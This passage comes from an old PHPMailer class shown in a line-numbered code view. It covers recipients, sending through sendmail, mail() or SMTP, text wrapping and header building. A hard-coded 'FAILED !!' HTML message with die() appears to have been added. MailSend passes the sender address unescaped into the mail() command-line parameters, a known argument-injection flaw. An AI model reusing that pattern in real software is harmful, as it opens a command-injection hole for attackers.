| 1570 | */ | |
| 1571 | var $SMTPSecure = ""; | |
| 1572 | ||
| 1573 | /** | |
| 1574 | * Sets SMTP authentication. Utilizes the Username and Password variables. | |
| 1575 | * @var bool | |
| 1576 | */ | |
| 1577 | var $SMTPAuth = false; | |
| 1578 | ||
| 1579 | /** | |
| 1580 | * Sets SMTP username. | |
| 1581 | * @var string | |
| 1582 | */ | |
| 1583 | var $Username = ''; | |
| 1584 | ||
| 1585 | /** | |
| 1586 | * Sets SMTP password. | |
| 1587 | * @var string | |
| 1588 | */ | |
| 1589 | var $Password = ''; | |
| 1590 | ||
| 1591 | /** | |
| 1592 | * Sets the SMTP server timeout in seconds. This function will not | |
| 1593 | * work with the win32 version. | |
| 1594 | * @var int | |
| 1595 | */ | |
| 1596 | var $Timeout = 10; | |
| 1597 | ||
| 1598 | /** | |
| 1599 | * Sets SMTP class debugging on or off. | |
| 1600 | * @var bool | |
| 1601 | */ | |
| 1602 | var $SMTPDebug = false; | |
| 1603 | ||
| 1604 | /** | |
| 1605 | * Prevents the SMTP connection from being closed after each mail | |
| 1606 | * sending. If this is set to true then to close the connection | |
| 1607 | * requires an explicit call to SmtpClose(). | |
| 1608 | * @var bool | |
| 1609 | */ | |
| 1610 | var $SMTPKeepAlive = false; | |
| 1611 | ||
| 1612 | /** | |
| 1613 | * Provides the ability to have the TO field process individual | |
| 1614 | * emails, instead of sending to entire TO addresses | |
| 1615 | * @var bool | |
| 1616 | */ | |
| 1617 | var $SingleTo = false; | |
| 1618 | ||
| 1619 | ///////////////////////////////////////////////// | |
| 1620 | // PROPERTIES, PRIVATE | |
| 1621 | ///////////////////////////////////////////////// | |
| 1622 | ||
| 1623 | var $smtp = NULL; | |
| 1624 | var $to = array(); | |
| 1625 | var $cc = array(); | |
| 1626 | var $bcc = array(); | |
| 1627 | var $ReplyTo = array(); | |
| 1628 | var $attachment = array(); | |
| 1629 | var $CustomHeader = array(); | |
| 1630 | var $message_type = ''; | |
| 1631 | var $boundary = array(); | |
| 1632 | var $language = array(); | |
| 1633 | var $error_count = 0; | |
| 1634 | var $LE = "\n"; | |
| 1635 | var $sign_key_file = ""; | |
| 1636 | var $sign_key_pass = ""; | |
| 1637 | ||
| 1638 | ///////////////////////////////////////////////// | |
| 1639 | // METHODS, VARIABLES | |
| 1640 | ///////////////////////////////////////////////// | |
| 1641 | ||
| 1642 | /** | |
| 1643 | * Sets message type to HTML. | |
| 1644 | * @param bool $bool | |
| 1645 | * @return void | |
| 1646 | */ | |
| 1647 | function IsHTML($bool) {
| |
| 1648 | if($bool == true) {
| |
| 1649 | $this->ContentType = 'text/html'; | |
| 1650 | } else {
| |
| 1651 | $this->ContentType = 'text/plain'; | |
| 1652 | } | |
| 1653 | } | |
| 1654 | ||
| 1655 | /** | |
| 1656 | * Sets Mailer to send message using SMTP. | |
| 1657 | * @return void | |
| 1658 | */ | |
| 1659 | function IsSMTP() {
| |
| 1660 | $this->Mailer = 'smtp'; | |
| 1661 | } | |
| 1662 | ||
| 1663 | /** | |
| 1664 | * Sets Mailer to send message using PHP mail() function. | |
| 1665 | * @return void | |
| 1666 | */ | |
| 1667 | function IsMail() {
| |
| 1668 | $this->Mailer = 'mail'; | |
| 1669 | } | |
| 1670 | ||
| 1671 | /** | |
| 1672 | * Sets Mailer to send message using the $Sendmail program. | |
| 1673 | * @return void | |
| 1674 | */ | |
| 1675 | function IsSendmail() {
| |
| 1676 | $this->Mailer = 'sendmail'; | |
| 1677 | } | |
| 1678 | ||
| 1679 | /** | |
| 1680 | * Sets Mailer to send message using the qmail MTA. | |
| 1681 | * @return void | |
| 1682 | */ | |
| 1683 | function IsQmail() {
| |
| 1684 | $this->Sendmail = '/var/qmail/bin/sendmail'; | |
| 1685 | $this->Mailer = 'sendmail'; | |
| 1686 | } | |
| 1687 | ||
| 1688 | ///////////////////////////////////////////////// | |
| 1689 | // METHODS, RECIPIENTS | |
| 1690 | ///////////////////////////////////////////////// | |
| 1691 | ||
| 1692 | /** | |
| 1693 | * Adds a "To" address. | |
| 1694 | * @param string $address | |
| 1695 | * @param string $name | |
| 1696 | * @return void | |
| 1697 | */ | |
| 1698 | function AddAddress($address, $name = '') {
| |
| 1699 | $cur = count($this->to); | |
| 1700 | $this->to[$cur][0] = trim($address); | |
| 1701 | $this->to[$cur][1] = $name; | |
| 1702 | } | |
| 1703 | ||
| 1704 | /** | |
| 1705 | * Adds a "Cc" address. Note: this function works | |
| 1706 | * with the SMTP mailer on win32, not with the "mail" | |
| 1707 | * mailer. | |
| 1708 | * @param string $address | |
| 1709 | * @param string $name | |
| 1710 | * @return void | |
| 1711 | */ | |
| 1712 | function AddCC($address, $name = '') {
| |
| 1713 | $cur = count($this->cc); | |
| 1714 | $this->cc[$cur][0] = trim($address); | |
| 1715 | $this->cc[$cur][1] = $name; | |
| 1716 | } | |
| 1717 | ||
| 1718 | /** | |
| 1719 | * Adds a "Bcc" address. Note: this function works | |
| 1720 | * with the SMTP mailer on win32, not with the "mail" | |
| 1721 | * mailer. | |
| 1722 | * @param string $address | |
| 1723 | * @param string $name | |
| 1724 | * @return void | |
| 1725 | */ | |
| 1726 | function AddBCC($address, $name = '') {
| |
| 1727 | $cur = count($this->bcc); | |
| 1728 | $this->bcc[$cur][0] = trim($address); | |
| 1729 | $this->bcc[$cur][1] = $name; | |
| 1730 | } | |
| 1731 | ||
| 1732 | /** | |
| 1733 | * Adds a "Reply-To" address. | |
| 1734 | * @param string $address | |
| 1735 | * @param string $name | |
| 1736 | * @return void | |
| 1737 | */ | |
| 1738 | function AddReplyTo($address, $name = '') {
| |
| 1739 | $cur = count($this->ReplyTo); | |
| 1740 | $this->ReplyTo[$cur][0] = trim($address); | |
| 1741 | $this->ReplyTo[$cur][1] = $name; | |
| 1742 | } | |
| 1743 | ||
| 1744 | ///////////////////////////////////////////////// | |
| 1745 | // METHODS, MAIL SENDING | |
| 1746 | ///////////////////////////////////////////////// | |
| 1747 | ||
| 1748 | /** | |
| 1749 | * Creates message and assigns Mailer. If the message is | |
| 1750 | * not sent successfully then it returns false. Use the ErrorInfo | |
| 1751 | * variable to view description of the error. | |
| 1752 | * @return bool | |
| 1753 | */ | |
| 1754 | function Send() {
| |
| 1755 | $header = ''; | |
| 1756 | $body = ''; | |
| 1757 | $result = true; | |
| 1758 | ||
| 1759 | if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
| |
| 1760 | $this->SetError($this->Lang('provide_address'));
| |
| 1761 | return false; | |
| 1762 | } | |
| 1763 | ||
| 1764 | /* Set whether the message is multipart/alternative */ | |
| 1765 | if(!empty($this->AltBody)) {
| |
| 1766 | $this->ContentType = 'multipart/alternative'; | |
| 1767 | } | |
| 1768 | ||
| 1769 | $this->error_count = 0; // reset errors | |
| 1770 | $this->SetMessageType(); | |
| 1771 | $header .= $this->CreateHeader(); | |
| 1772 | $body = $this->CreateBody(); | |
| 1773 | ||
| 1774 | if($body == '') {
| |
| 1775 | return false; | |
| 1776 | } | |
| 1777 | ||
| 1778 | /* Choose the mailer */ | |
| 1779 | switch($this->Mailer) {
| |
| 1780 | case 'sendmail': | |
| 1781 | $result = $this->SendmailSend($header, $body); | |
| 1782 | break; | |
| 1783 | case 'smtp': | |
| 1784 | $result = $this->SmtpSend($header, $body); | |
| 1785 | break; | |
| 1786 | case 'mail': | |
| 1787 | $result = $this->MailSend($header, $body); | |
| 1788 | break; | |
| 1789 | default: | |
| 1790 | $result = $this->MailSend($header, $body); | |
| 1791 | break; | |
| 1792 | //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
| |
| 1793 | //$result = false; | |
| 1794 | //break; | |
| 1795 | } | |
| 1796 | ||
| 1797 | return $result; | |
| 1798 | } | |
| 1799 | ||
| 1800 | /** | |
| 1801 | * Sends mail using the $Sendmail program. | |
| 1802 | * @access private | |
| 1803 | * @return bool | |
| 1804 | */ | |
| 1805 | function SendmailSend($header, $body) {
| |
| 1806 | if ($this->Sender != '') {
| |
| 1807 | $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
| |
| 1808 | } else {
| |
| 1809 | $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
| |
| 1810 | } | |
| 1811 | ||
| 1812 | if(!@$mail = popen($sendmail, 'w')) {
| |
| 1813 | $this->SetError($this->Lang('execute') . $this->Sendmail);
| |
| 1814 | return false; | |
| 1815 | } | |
| 1816 | ||
| 1817 | fputs($mail, $header); | |
| 1818 | fputs($mail, $body); | |
| 1819 | ||
| 1820 | $result = pclose($mail); | |
| 1821 | if (version_compare(phpversion(), '4.2.3') == -1) {
| |
| 1822 | $result = $result >> 8 & 0xFF; | |
| 1823 | } | |
| 1824 | if($result != 0) {
| |
| 1825 | $this->SetError($this->Lang('execute') . $this->Sendmail);
| |
| 1826 | return false; | |
| 1827 | } | |
| 1828 | return true; | |
| 1829 | } | |
| 1830 | ||
| 1831 | /** | |
| 1832 | * Sends mail using the PHP mail() function. | |
| 1833 | * @access private | |
| 1834 | * @return bool | |
| 1835 | */ | |
| 1836 | function MailSend($header, $body) {
| |
| 1837 | ||
| 1838 | $to = ''; | |
| 1839 | for($i = 0; $i < count($this->to); $i++) {
| |
| 1840 | if($i != 0) { $to .= ', '; }
| |
| 1841 | $to .= $this->AddrFormat($this->to[$i]); | |
| 1842 | } | |
| 1843 | ||
| 1844 | $toArr = split(',', $to);
| |
| 1845 | ||
| 1846 | $params = sprintf("-oi -f %s", $this->Sender);
| |
| 1847 | if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
| |
| 1848 | $old_from = ini_get('sendmail_from');
| |
| 1849 | ini_set('sendmail_from', $this->Sender);
| |
| 1850 | if ($this->SingleTo === true && count($toArr) > 1) {
| |
| 1851 | foreach ($toArr as $key => $val) {
| |
| 1852 | $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params); | |
| 1853 | } | |
| 1854 | } else {
| |
| 1855 | $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params); | |
| 1856 | } | |
| 1857 | } else {
| |
| 1858 | if ($this->SingleTo === true && count($toArr) > 1) {
| |
| 1859 | foreach ($toArr as $key => $val) {
| |
| 1860 | $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params); | |
| 1861 | } | |
| 1862 | } else {
| |
| 1863 | $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header); | |
| 1864 | } | |
| 1865 | } | |
| 1866 | ||
| 1867 | if (isset($old_from)) {
| |
| 1868 | ini_set('sendmail_from', $old_from);
| |
| 1869 | } | |
| 1870 | ||
| 1871 | if(!$rt) {
| |
| 1872 | $this->SetError($this->Lang('instantiate'));
| |
| 1873 | return false; | |
| 1874 | } | |
| 1875 | ||
| 1876 | return true; | |
| 1877 | } | |
| 1878 | ||
| 1879 | /** | |
| 1880 | * Sends mail via SMTP using PhpSMTP (Author: | |
| 1881 | * Chris Ryan). Returns bool. Returns false if there is a | |
| 1882 | * bad MAIL FROM, RCPT, or DATA input. | |
| 1883 | * @access private | |
| 1884 | * @return bool | |
| 1885 | */ | |
| 1886 | function SmtpSend($header, $body) {
| |
| 1887 | $error = ''; | |
| 1888 | $bad_rcpt = array(); | |
| 1889 | ||
| 1890 | if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
| |
| 1891 | return false; | |
| 1892 | } | |
| 1893 | ||
| 1894 | $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender; | |
| 1895 | if(!$this->smtp->Mail($smtp_from)) {
| |
| 1896 | $error = $this->Lang('from_failed') . $smtp_from;
| |
| 1897 | $this->SetError($error); | |
| 1898 | $this->smtp->Reset(); | |
| 1899 | return false; | |
| 1900 | } | |
| 1901 | ||
| 1902 | /* Attempt to send attach all recipients */ | |
| 1903 | for($i = 0; $i < count($this->to); $i++) {
| |
| 1904 | if(!$this->smtp->Recipient($this->to[$i][0])) {
| |
| 1905 | $bad_rcpt[] = $this->to[$i][0]; | |
| 1906 | } | |
| 1907 | } | |
| 1908 | for($i = 0; $i < count($this->cc); $i++) {
| |
| 1909 | if(!$this->smtp->Recipient($this->cc[$i][0])) {
| |
| 1910 | $bad_rcpt[] = $this->cc[$i][0]; | |
| 1911 | } | |
| 1912 | } | |
| 1913 | for($i = 0; $i < count($this->bcc); $i++) {
| |
| 1914 | if(!$this->smtp->Recipient($this->bcc[$i][0])) {
| |
| 1915 | $bad_rcpt[] = $this->bcc[$i][0]; | |
| 1916 | } | |
| 1917 | } | |
| 1918 | ||
| 1919 | if(count($bad_rcpt) > 0) { // Create error message
| |
| 1920 | for($i = 0; $i < count($bad_rcpt); $i++) {
| |
| 1921 | if($i != 0) {
| |
| 1922 | $error .= ', '; | |
| 1923 | } | |
| 1924 | $error .= $bad_rcpt[$i]; | |
| 1925 | ||
| 1926 | } | |
| 1927 | $error = $this->Lang('recipients_failed') . $error;
| |
| 1928 | $this->SetError($error); | |
| 1929 | $this->smtp->Reset(); | |
| 1930 | return false; | |
| 1931 | } | |
| 1932 | ||
| 1933 | if(!$this->smtp->Data($header . $body)) {
| |
| 1934 | $this->SetError($this->Lang('data_not_accepted'));
| |
| 1935 | $this->smtp->Reset(); | |
| 1936 | return false; | |
| 1937 | } | |
| 1938 | if($this->SMTPKeepAlive == true) {
| |
| 1939 | $this->smtp->Reset(); | |
| 1940 | } else {
| |
| 1941 | $this->SmtpClose(); | |
| 1942 | } | |
| 1943 | ||
| 1944 | return true; | |
| 1945 | } | |
| 1946 | ||
| 1947 | /** | |
| 1948 | * Initiates a connection to an SMTP server. Returns false if the | |
| 1949 | * operation failed. | |
| 1950 | * @access private | |
| 1951 | * @return bool | |
| 1952 | */ | |
| 1953 | function SmtpConnect() {
| |
| 1954 | if($this->smtp == NULL) {
| |
| 1955 | $this->smtp = new SMTP(); | |
| 1956 | } | |
| 1957 | ||
| 1958 | $this->smtp->do_debug = $this->SMTPDebug; | |
| 1959 | $hosts = explode(';', $this->Host);
| |
| 1960 | $index = 0; | |
| 1961 | $connection = ($this->smtp->Connected()); | |
| 1962 | ||
| 1963 | /* Retry while there is no connection */ | |
| 1964 | while($index < count($hosts) && $connection == false) {
| |
| 1965 | $hostinfo = array(); | |
| 1966 | if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
| |
| 1967 | $host = $hostinfo[1]; | |
| 1968 | $port = $hostinfo[2]; | |
| 1969 | } else {
| |
| 1970 | $host = $hosts[$index]; | |
| 1971 | $port = $this->Port; | |
| 1972 | } | |
| 1973 | ||
| 1974 | if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
| |
| 1975 | if ($this->Helo != '') {
| |
| 1976 | $this->smtp->Hello($this->Helo); | |
| 1977 | } else {
| |
| 1978 | $this->smtp->Hello($this->ServerHostname()); | |
| 1979 | } | |
| 1980 | ||
| 1981 | $connection = true; | |
| 1982 | if($this->SMTPAuth) {
| |
| 1983 | if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
| |
| 1984 | $this->SetError($this->Lang('authenticate'));
| |
| 1985 | $this->smtp->Reset(); | |
| 1986 | $connection = false; | |
| 1987 | } | |
| 1988 | } | |
| 1989 | } | |
| 1990 | $index++; | |
| 1991 | } | |
| 1992 | if(!$connection) {
| |
| 1993 | $this->SetError($this->Lang('connect_host'));
| |
| 1994 | } | |
| 1995 | ||
| 1996 | return $connection; | |
| 1997 | } | |
| 1998 | ||
| 1999 | /** | |
| 2000 | * Closes the active SMTP session if one exists. | |
| 2001 | * @return void | |
| 2002 | */ | |
| 2003 | function SmtpClose() {
| |
| 2004 | if($this->smtp != NULL) {
| |
| 2005 | if($this->smtp->Connected()) {
| |
| 2006 | $this->smtp->Quit(); | |
| 2007 | $this->smtp->Close(); | |
| 2008 | } | |
| 2009 | } | |
| 2010 | } | |
| 2011 | ||
| 2012 | /** | |
| 2013 | * Sets the language for all class error messages. Returns false | |
| 2014 | * if it cannot load the language file. The default language type | |
| 2015 | * is English. | |
| 2016 | * @param string $lang_type Type of language (e.g. Portuguese: "br") | |
| 2017 | * @param string $lang_path Path to the language file directory | |
| 2018 | * @access public | |
| 2019 | * @return bool | |
| 2020 | */ | |
| 2021 | function SetLanguage($lang_type, $lang_path = 'language/') {
| |
| 2022 | if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
| |
| 2023 | include($lang_path.'phpmailer.lang-'.$lang_type.'.php'); | |
| 2024 | } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
| |
| 2025 | include($lang_path.'phpmailer.lang-en.php'); | |
| 2026 | } else {
| |
| 2027 | $this->SetError('Could not load language file');
| |
| 2028 | return false; | |
| 2029 | } | |
| 2030 | $this->language = $PHPMAILER_LANG; | |
| 2031 | ||
| 2032 | return true; | |
| 2033 | } | |
| 2034 | ||
| 2035 | ///////////////////////////////////////////////// | |
| 2036 | // METHODS, MESSAGE CREATION | |
| 2037 | ///////////////////////////////////////////////// | |
| 2038 | ||
| 2039 | /** | |
| 2040 | * Creates recipient headers. | |
| 2041 | * @access private | |
| 2042 | * @return string | |
| 2043 | */ | |
| 2044 | function AddrAppend($type, $addr) {
| |
| 2045 | $addr_str = $type . ': '; | |
| 2046 | $addr_str .= $this->AddrFormat($addr[0]); | |
| 2047 | if(count($addr) > 1) {
| |
| 2048 | for($i = 1; $i < count($addr); $i++) {
| |
| 2049 | $addr_str .= ', ' . $this->AddrFormat($addr[$i]); | |
| 2050 | } | |
| 2051 | } | |
| 2052 | $addr_str .= $this->LE; | |
| 2053 | ||
| 2054 | return $addr_str; | |
| 2055 | } | |
| 2056 | ||
| 2057 | /** | |
| 2058 | * Formats an address correctly. | |
| 2059 | * @access private | |
| 2060 | * @return string | |
| 2061 | */ | |
| 2062 | function AddrFormat($addr) {
| |
| 2063 | if(empty($addr[1])) {
| |
| 2064 | $formatted = $this->SecureHeader($addr[0]); | |
| 2065 | } else {
| |
| 2066 | $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">"; | |
| 2067 | } | |
| 2068 | ||
| 2069 | return $formatted; | |
| 2070 | } | |
| 2071 | ||
| 2072 | /** | |
| 2073 | * Wraps message for use with mailers that do not | |
| 2074 | * automatically perform wrapping and for quoted-printable. | |
| 2075 | * Original written by philippe. | |
| 2076 | * @access private | |
| 2077 | * @return string | |
| 2078 | */ | |
| 2079 | function WrapText($message, $length, $qp_mode = false) {
| |
| 2080 | $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
| |
| 2081 | // If utf-8 encoding is used, we will need to make sure we don't | |
| 2082 | // split multibyte characters when we wrap | |
| 2083 | $is_utf8 = (strtolower($this->CharSet) == "utf-8"); | |
| 2084 | ||
| 2085 | $message = $this->FixEOL($message); | |
| 2086 | if (substr($message, -1) == $this->LE) {
| |
| 2087 | $message = substr($message, 0, -1); | |
| 2088 | } | |
| 2089 | ||
| 2090 | $line = explode($this->LE, $message); | |
| 2091 | $message = ''; | |
| 2092 | for ($i=0 ;$i < count($line); $i++) {
| |
| 2093 | $line_part = explode(' ', $line[$i]);
| |
| 2094 | $buf = ''; | |
| 2095 | for ($e = 0; $e<count($line_part); $e++) {
| |
| 2096 | $word = $line_part[$e]; | |
| 2097 | if ($qp_mode and (strlen($word) > $length)) {
| |
| 2098 | $space_left = $length - strlen($buf) - 1; | |
| 2099 | if ($e != 0) {
| |
| 2100 | if ($space_left > 20) {
| |
| 2101 | $len = $space_left; | |
| 2102 | if ($is_utf8) {
| |
| 2103 | $len = $this->UTF8CharBoundary($word, $len); | |
| 2104 | } elseif (substr($word, $len - 1, 1) == "=") {
| |
| 2105 | $len--; | |
| 2106 | } elseif (substr($word, $len - 2, 1) == "=") {
| |
| 2107 | $len -= 2; | |
| 2108 | } | |
| 2109 | $part = substr($word, 0, $len); | |
| 2110 | $word = substr($word, $len); | |
| 2111 | $buf .= ' ' . $part; | |
| 2112 | $message .= $buf . sprintf("=%s", $this->LE);
| |
| 2113 | } else {
| |
| 2114 | $message .= $buf . $soft_break; | |
| 2115 | } | |
| 2116 | $buf = ''; | |
| 2117 | } | |
| 2118 | while (strlen($word) > 0) {
| |
| 2119 | $len = $length; | |
| 2120 | if ($is_utf8) {
| |
| 2121 | $len = $this->UTF8CharBoundary($word, $len); | |
| 2122 | } elseif (substr($word, $len - 1, 1) == "=") {
| |
| 2123 | $len--; | |
| 2124 | } elseif (substr($word, $len - 2, 1) == "=") {
| |
| 2125 | $len -= 2; | |
| 2126 | } | |
| 2127 | $part = substr($word, 0, $len); | |
| 2128 | $word = substr($word, $len); | |
| 2129 | ||
| 2130 | if (strlen($word) > 0) {
| |
| 2131 | $message .= $part . sprintf("=%s", $this->LE);
| |
| 2132 | } else {
| |
| 2133 | $buf = $part; | |
| 2134 | } | |
| 2135 | } | |
| 2136 | } else {
| |
| 2137 | $buf_o = $buf; | |
| 2138 | $buf .= ($e == 0) ? $word : (' ' . $word);
| |
| 2139 | ||
| 2140 | if (strlen($buf) > $length and $buf_o != '') {
| |
| 2141 | $message .= $buf_o . $soft_break; | |
| 2142 | $buf = $word; | |
| 2143 | } | |
| 2144 | } | |
| 2145 | } | |
| 2146 | $message .= $buf . $this->LE; | |
| 2147 | } | |
| 2148 | ||
| 2149 | return $message; | |
| 2150 | } | |
| 2151 | ||
| 2152 | /** | |
| 2153 | * Finds last character boundary prior to maxLength in a utf-8 | |
| 2154 | * quoted (printable) encoded string. | |
| 2155 | * Original written by Colin Brown. | |
| 2156 | * @access private | |
| 2157 | * @param string $encodedText utf-8 QP text | |
| 2158 | * @param int $maxLength find last character boundary prior to this length | |
| 2159 | * @return int | |
| 2160 | */ | |
| 2161 | function UTF8CharBoundary($encodedText, $maxLength) {
| |
| 2162 | $foundSplitPos = false; | |
| 2163 | $lookBack = 3; | |
| 2164 | while (!$foundSplitPos) {
| |
| 2165 | $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); | |
| 2166 | $encodedCharPos = strpos($lastChunk, "="); | |
| 2167 | if ($encodedCharPos !== false) {
| |
| 2168 | // Found start of encoded character byte within $lookBack block. | |
| 2169 | // Check the encoded byte value (the 2 chars after the '=') | |
| 2170 | $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); | |
| 2171 | $dec = hexdec($hex); | |
| 2172 | if ($dec < 128) { // Single byte character.
| |
| 2173 | // If the encoded char was found at pos 0, it will fit | |
| 2174 | // otherwise reduce maxLength to start of the encoded char | |
| 2175 | $maxLength = ($encodedCharPos == 0) ? $maxLength : | |
| 2176 | $maxLength - ($lookBack - $encodedCharPos); | |
| 2177 | $foundSplitPos = true; | |
| 2178 | } elseif ($dec >= 192) { // First byte of a multi byte character
| |
| 2179 | // Reduce maxLength to split at start of character | |
| 2180 | $maxLength = $maxLength - ($lookBack - $encodedCharPos); | |
| 2181 | $foundSplitPos = true; | |
| 2182 | } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
| |
| 2183 | $lookBack += 3; | |
| 2184 | } | |
| 2185 | } else {
| |
| 2186 | // No encoded character found | |
| 2187 | $foundSplitPos = true; | |
| 2188 | } | |
| 2189 | } | |
| 2190 | return $maxLength; | |
| 2191 | } | |
| 2192 | ||
| 2193 | /** | |
| 2194 | * Set the body wrapping. | |
| 2195 | * @access private | |
| 2196 | * @return void | |
| 2197 | */ | |
| 2198 | function SetWordWrap() {
| |
| 2199 | if($this->WordWrap < 1) {
| |
| 2200 | return; | |
| 2201 | } | |
| 2202 | ||
| 2203 | switch($this->message_type) {
| |
| 2204 | case 'alt': | |
| 2205 | /* fall through */ | |
| 2206 | case 'alt_attachments': | |
| 2207 | $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap); | |
| 2208 | break; | |
| 2209 | default: | |
| 2210 | $this->Body = $this->WrapText($this->Body, $this->WordWrap); | |
| 2211 | break; | |
| 2212 | } | |
| 2213 | } | |
| 2214 | ||
| 2215 | /** | |
| 2216 | * Assembles message header. | |
| 2217 | * @access private | |
| 2218 | * @return string | |
| 2219 | */ | |
| 2220 | function CreateHeader() {
| |
| 2221 | $result = ''; | |
| 2222 | ||
| 2223 | /* Set the boundaries */ | |
| 2224 | $uniq_id = md5(uniqid(time())); | |
| 2225 | $this->boundary[1] = 'b1_' . $uniq_id; | |
| 2226 | $this->boundary[2] = 'b2_' . $uniq_id; | |
| 2227 | ||
| 2228 | $result .= $this->HeaderLine('Date', $this->RFCDate());
| |
| 2229 | if($this->Sender == '') {
| |
| 2230 | $result .= $this->HeaderLine('Return-Path', trim($this->From));
| |
| 2231 | } else {
| |
| 2232 | $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
| |
| 2233 | } | |
| 2234 | ||
| 2235 | /* To be created automatically by mail() */ | |
| 2236 | if($this->Mailer != 'mail') {
| |
| 2237 | if(count($this->to) > 0) {
| |
| 2238 | $result .= $this->AddrAppend('To', $this->to);
| |
| 2239 | } elseif (count($this->cc) == 0) {
| |
| 2240 | $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
| |
| 2241 | } | |
| 2242 | if(count($this->cc) > 0) {
| |
| 2243 | $result .= $this->AddrAppend('Cc', $this->cc);
| |
| 2244 | } | |
| 2245 | } | |
| 2246 | ||
| 2247 | $from = array(); | |
| 2248 | $from[0][0] = trim($this->From); | |
| 2249 | $from[0][1] = $this->FromName; | |
| 2250 | $result .= $this->AddrAppend('From', $from);
| |
| 2251 | ||
| 2252 | /* sendmail and mail() extract Cc from the header before sending */ | |
| 2253 | if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
| |
| 2254 | $result .= $this->AddrAppend('Cc', $this->cc);
| |
| 2255 | } | |
| 2256 | ||
| 2257 | /* sendmail and mail() extract Bcc from the header before sending */ | |
| 2258 | if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
| |
| 2259 | $result .= $this->AddrAppend('Bcc', $this->bcc);
| |
| 2260 | } | |
| 2261 | ||
| 2262 | if(count($this->ReplyTo) > 0) {
| |
| 2263 | $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
| |
| 2264 | } | |
| 2265 | ||
| 2266 | /* mail() sets the subject itself */ | |
| 2267 | if($this->Mailer != 'mail') {
| |
| 2268 | $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
| |
| 2269 | } | |
| 2270 | ||
| 2271 | if($this->MessageID != '') {
| |
| 2272 | $result .= $this->HeaderLine('Message-ID',$this->MessageID);
| |
| 2273 | } else {
| |
| 2274 | $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
| |
| 2275 | } | |
| 2276 | $result .= $this->HeaderLine('X-Priority', $this->Priority);
| |
| 2277 | $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
| |
| 2278 | ||
| 2279 | if($this->ConfirmReadingTo != '') {
| |
| 2280 | $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
| |
| 2281 | } | |
| 2282 | ||
| 2283 | // Add custom headers | |
| 2284 | for($index = 0; $index < count($this->CustomHeader); $index++) {
| |
| 2285 | $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1]))); | |
| 2286 | } | |
| 2287 | if (!$this->sign_key_file) {
| |
| 2288 | $result .= $this->HeaderLine('MIME-Version', '1.0');
| |
| 2289 | $result .= $this->GetMailMIME(); | |
| 2290 | } | |
| 2291 | ||
| 2292 | return $result; | |
| 2293 | } | |
| 2294 | ||
| 2295 | /** | |
| 2296 | * Returns the message MIME. | |
| 2297 | * @access private | |
| 2298 | * @return string | |
| 2299 | */ | |
| 2300 | function GetMailMIME() {
| |
| 2301 | $result = ''; | |
| 2302 | switch($this->message_type) {
| |
| 2303 | case 'plain': | |
| 2304 | $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
| |
| 2305 | $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
| |
| 2306 | break; | |
| 2307 | case 'attachments': | |
| 2308 | /* fall through */ | |
| 2309 | case 'alt_attachments': | |
| 2310 | if($this->InlineImageExists()){
| |
| 2311 | $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
| |
| 2312 | } else {
| |
| 2313 | $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
| |
| 2314 | $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
| |
| 2315 | } | |
| 2316 | break; | |
| 2317 | case 'alt': | |
| 2318 | $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
| |
| 2319 | $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
| |
| 2320 | break; | |
| 2321 | } | |
| 2322 | ||
| 2323 | if($this->Mailer != 'mail') {
| |
| 2324 | $result .= $this->LE.$this->LE; | |
| 2325 | } | |
| 2326 | ||
| 2327 | return $result; | |
| 2328 | } | |
| 2329 | ||
| 2330 | /** | |
| 2331 | * Assembles the message body. Returns an empty string on failure. | |
| 2332 | * @access private | |
| 2333 | * @return string | |
| 2334 | */ | |
| 2335 | function CreateBody() {
| |
| 2336 | $result = ''; | |
